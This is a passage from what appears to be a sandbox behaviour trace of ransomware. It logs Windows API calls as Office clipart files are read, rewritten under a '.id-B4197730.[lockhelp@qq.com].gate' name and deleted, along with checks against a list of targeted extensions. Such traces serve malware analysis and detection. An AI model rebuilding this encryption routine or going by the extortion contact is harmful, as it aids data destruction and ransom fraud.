"c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0320.065] GetLastError () returned 0x0 [0320.065] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x2420, lpOverlapped=0x0) returned 1 [0320.183] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x2430, lpOverlapped=0x0) returned 1 [0320.184] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.184] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.185] SetEndOfFile (hFile=0x370) returned 1 [0320.185] CloseHandle (hObject=0x370) returned 1 [0320.185] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.185] SetEndOfFile (hFile=0x36c) returned 1 [0320.186] CloseHandle (hObject=0x36c) returned 1 [0320.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1 [0320.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.507] lstrlenW (lpString=".doc") returned 4 [0320.507] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.507] lstrlenW (lpString=".docx") returned 5 [0320.507] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.507] lstrlenW (lpString=".pdf") returned 4 [0320.507] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.507] lstrlenW (lpString=".xls") returned 4 [0320.507] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.507] lstrlenW (lpString=".xlsx") returned 5 [0320.507] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.507] lstrlenW (lpString=".ppt") returned 4 [0320.507] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.507] lstrlenW (lpString=".zip") returned 4 [0320.507] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.507] lstrlenW (lpString=".rar") returned 4 [0320.507] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.507] lstrlenW (lpString=".bz2") returned 4 [0320.507] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.508] lstrlenW (lpString=".7z") returned 3 [0320.508] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.508] lstrlenW (lpString=".dbf") returned 4 [0320.508] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.508] lstrlenW (lpString=".1cd") returned 4 [0320.508] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.508] lstrlenW (lpString=".jpg") returned 4 [0320.508] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.508] lstrlenW (lpString=".doc") returned 4 [0320.508] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0320.508] lstrlenW (lpString=".docx") returned 5 [0320.508] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0320.508] lstrlenW (lpString=".pdf") returned 4 [0320.508] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0320.508] lstrlenW (lpString=".xls") returned 4 [0320.508] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0320.508] lstrlenW (lpString=".xlsx") returned 5 [0320.508] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0320.508] lstrlenW (lpString=".ppt") returned 4 [0320.509] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0320.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.509] lstrlenW (lpString=".zip") returned 4 [0320.509] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0320.509] lstrlenW (lpString=".rar") returned 4 [0320.509] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0320.509] lstrlenW (lpString=".bz2") returned 4 [0320.509] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0320.509] lstrlenW (lpString=".7z") returned 3 [0320.509] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0320.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.509] lstrlenW (lpString=".dbf") returned 4 [0320.509] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0320.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.509] lstrlenW (lpString=".1cd") returned 4 [0320.509] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0320.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0320.509] lstrlenW (lpString=".jpg") returned 4 [0320.509] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0320.509] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.509] lstrlenW (lpString="AN01174_.WMF") returned 12 [0320.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.509] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=27858) returned 1 [0320.509] CloseHandle (hObject=0x34c) returned 1 [0320.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0320.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.510] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.510] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0320.510] GetLastError () returned 0x0 [0320.510] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x6cd2, lpOverlapped=0x0) returned 1 [0320.511] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x6ce0, lpOverlapped=0x0) returned 1 [0320.512] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.513] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.513] SetEndOfFile (hFile=0x384) returned 1 [0320.513] CloseHandle (hObject=0x384) returned 1 [0320.513] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.513] SetEndOfFile (hFile=0x34c) returned 1 [0320.514] CloseHandle (hObject=0x34c) returned 1 [0320.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.514] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0320.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.514] lstrlenW (lpString=".doc") returned 4 [0320.514] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.514] lstrlenW (lpString=".docx") returned 5 [0320.514] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.514] lstrlenW (lpString=".pdf") returned 4 [0320.514] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.514] lstrlenW (lpString=".xls") returned 4 [0320.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.515] lstrlenW (lpString=".xlsx") returned 5 [0320.515] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.515] lstrlenW (lpString=".ppt") returned 4 [0320.515] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.515] lstrlenW (lpString=".zip") returned 4 [0320.515] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.515] lstrlenW (lpString=".rar") returned 4 [0320.515] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.515] lstrlenW (lpString=".bz2") returned 4 [0320.515] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.515] lstrlenW (lpString=".7z") returned 3 [0320.515] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.515] lstrlenW (lpString=".dbf") returned 4 [0320.515] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.515] lstrlenW (lpString=".1cd") returned 4 [0320.515] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.515] lstrlenW (lpString=".jpg") returned 4 [0320.515] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.515] lstrlenW (lpString=".doc") returned 4 [0320.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.515] lstrlenW (lpString=".docx") returned 5 [0320.515] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.515] lstrlenW (lpString=".pdf") returned 4 [0320.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.515] lstrlenW (lpString=".xls") returned 4 [0320.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.515] lstrlenW (lpString=".xlsx") returned 5 [0320.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.516] lstrlenW (lpString=".ppt") returned 4 [0320.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.516] lstrlenW (lpString=".zip") returned 4 [0320.516] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.516] lstrlenW (lpString=".rar") returned 4 [0320.516] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.516] lstrlenW (lpString=".bz2") returned 4 [0320.516] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.516] lstrlenW (lpString=".7z") returned 3 [0320.516] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.516] lstrlenW (lpString=".dbf") returned 4 [0320.516] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.516] lstrlenW (lpString=".1cd") returned 4 [0320.516] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 68 [0320.516] lstrlenW (lpString=".jpg") returned 4 [0320.516] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.516] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.516] lstrlenW (lpString="AN01184_.WMF") returned 12 [0320.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.517] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3746) returned 1 [0320.517] CloseHandle (hObject=0x34c) returned 1 [0320.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0320.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.517] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.517] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0320.517] GetLastError () returned 0x0 [0320.517] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0xea2, lpOverlapped=0x0) returned 1 [0320.518] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0320.519] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.519] WriteFile (in: hFile=0x384, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.519] SetEndOfFile (hFile=0x384) returned 1 [0320.520] CloseHandle (hObject=0x384) returned 1 [0320.520] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.520] SetEndOfFile (hFile=0x34c) returned 1 [0320.521] CloseHandle (hObject=0x34c) returned 1 [0320.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0320.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.521] lstrlenW (lpString=".doc") returned 4 [0320.521] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.521] lstrlenW (lpString=".docx") returned 5 [0320.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.522] lstrlenW (lpString=".pdf") returned 4 [0320.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.522] lstrlenW (lpString=".xls") returned 4 [0320.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.522] lstrlenW (lpString=".xlsx") returned 5 [0320.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.522] lstrlenW (lpString=".ppt") returned 4 [0320.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.522] lstrlenW (lpString=".zip") returned 4 [0320.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.522] lstrlenW (lpString=".rar") returned 4 [0320.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.522] lstrlenW (lpString=".bz2") returned 4 [0320.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.522] lstrlenW (lpString=".7z") returned 3 [0320.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.522] lstrlenW (lpString=".dbf") returned 4 [0320.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.522] lstrlenW (lpString=".1cd") returned 4 [0320.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.522] lstrlenW (lpString=".jpg") returned 4 [0320.522] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.523] lstrlenW (lpString=".doc") returned 4 [0320.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.523] lstrlenW (lpString=".docx") returned 5 [0320.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.523] lstrlenW (lpString=".pdf") returned 4 [0320.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.523] lstrlenW (lpString=".xls") returned 4 [0320.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.523] lstrlenW (lpString=".xlsx") returned 5 [0320.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.523] lstrlenW (lpString=".ppt") returned 4 [0320.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.523] lstrlenW (lpString=".zip") returned 4 [0320.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.523] lstrlenW (lpString=".rar") returned 4 [0320.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.523] lstrlenW (lpString=".bz2") returned 4 [0320.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.523] lstrlenW (lpString=".7z") returned 3 [0320.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.523] lstrlenW (lpString=".dbf") returned 4 [0320.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.523] lstrlenW (lpString=".1cd") returned 4 [0320.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0320.524] lstrlenW (lpString=".jpg") returned 4 [0320.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.524] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.524] lstrlenW (lpString="AN01216_.WMF") returned 12 [0320.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.524] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5836) returned 1 [0320.524] CloseHandle (hObject=0x34c) returned 1 [0320.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0320.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0320.525] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.525] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0320.525] GetLastError () returned 0x0 [0320.525] ReadFile (in: hFile=0x34c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x16cc, 